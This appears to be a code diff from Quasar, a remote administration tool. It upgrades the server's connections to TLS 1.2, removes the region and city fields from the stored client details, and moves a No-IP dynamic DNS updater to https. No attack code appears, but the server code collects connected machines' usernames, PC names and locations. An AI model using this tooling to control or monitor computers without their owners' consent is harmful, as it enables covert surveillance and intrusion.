client.Value.AccountType = packet.AccountType;
|
||||
client.Value.Country = packet.Country;
|
||||
client.Value.CountryCode = packet.CountryCode;
|
||||
client.Value.Region = packet.Region;
|
||||
client.Value.City = packet.City;
|
||||
client.Value.Id = packet.Id;
|
||||
client.Value.Username = packet.Username;
|
||||
client.Value.PcName = packet.PcName;
|
||||
|
|
|
@ -279,7 +279,7 @@ private void AcceptClient(object s, SocketAsyncEventArgs e)
|
|||
clientSocket.SetKeepAliveEx(KeepAliveInterval, KeepAliveTime);
|
||||
sslStream = new SslStream(new NetworkStream(clientSocket, true), false);
|
||||
// the SslStream owns the socket and on disposing also disposes the NetworkStream and Socket
|
||||
sslStream.BeginAuthenticateAsServer(ServerCertificate, false, SslProtocols.Tls, false, EndAuthenticateClient,
|
||||
sslStream.BeginAuthenticateAsServer(ServerCertificate, false, SslProtocols.Tls12, false, EndAuthenticateClient,
|
||||
new PendingClient {Stream = sslStream, EndPoint = (IPEndPoint) clientSocket.RemoteEndPoint});
|
||||
}
|
||||
catch (Exception)
|
||||
|
|
|
@ -16,8 +16,6 @@ public class UserState
|
|||
public int ImageIndex { get; set; }
|
||||
public string Country { get; set; }
|
||||
public string CountryCode { get; set; }
|
||||
public string Region { get; set; }
|
||||
public string City { get; set; }
|
||||
public string Id { get; set; }
|
||||
public string Username { get; set; }
|
||||
public string PcName { get; set; }
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
using System;
|
||||
using Quasar.Server.Forms;
|
||||
using System;
|
||||
using System.Net;
|
||||
using System.Windows.Forms;
|
||||
using Quasar.Server.Forms;
|
||||
|
||||
namespace Quasar.Server
|
||||
{
|
||||
|
@ -9,6 +10,9 @@ internal static class Program
|
|||
[STAThread]
|
||||
private static void Main()
|
||||
{
|
||||
// enable TLS 1.2
|
||||
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
|
||||
|
||||
Application.EnableVisualStyles();
|
||||
Application.SetCompatibleTextRenderingDefault(false);
|
||||
Application.Run(new FrmMain());
|
||||
|
|
|
@ -24,7 +24,7 @@ private static void BackgroundUpdater()
|
|||
{
|
||||
try
|
||||
{
|
||||
HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(string.Format("http://dynupdate.no-ip.com/nic/update?hostname={0}", Settings.NoIPHost));
|
||||
HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(string.Format("https://dynupdate.no-ip.com/nic/update?hostname={0}", Settings.NoIPHost));
|
||||
request.Proxy = null;
|
||||
request.UserAgent = string.Format("Quasar No-Ip Updater/2.0 {0}", Settings.NoIPUsername);
|
||||
request.Timeout = 10000;
|
||||
|
|
Loading…
Reference in New Issue